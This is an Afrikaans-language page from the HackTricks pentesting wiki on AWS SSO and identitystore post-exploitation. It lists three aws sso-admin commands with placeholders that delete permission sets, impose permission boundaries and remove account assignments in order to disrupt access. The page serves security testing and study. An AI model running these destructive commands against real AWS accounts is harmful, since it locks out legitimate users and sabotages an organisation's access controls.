# AWS - SSO & identitystore Post Exploitation

{{#include ../../../../banners/hacktricks-training.md}}

## SSO & identitystore

Vir meer inligting, sien:

{{#ref}}
../../aws-services/aws-iam-enum.md
{{#endref}}

### `sso:DeletePermissionSet` | `sso:PutPermissionsBoundaryToPermissionSet` | `sso:DeleteAccountAssignment`

Hierdie permissies kan gebruik word om toegangregte te ontwrig:
```bash
aws sso-admin delete-permission-set --instance-arn <SSOInstanceARN> --permission-set-arn <PermissionSetARN>

aws sso-admin put-permissions-boundary-to-permission-set --instance-arn <SSOInstanceARN> --permission-set-arn <PermissionSetARN> --permissions-boundary-policy-arn <PolicyARN>

aws sso-admin delete-account-assignment --instance-arn <SSOInstanceARN> --target-id <TargetID> --target-type <TargetType> --permission-set-arn <PermissionSetARN> --principal-type <PrincipalType> --principal-id <PrincipalID>
```
{{#include ../../../../banners/hacktricks-training.md}}
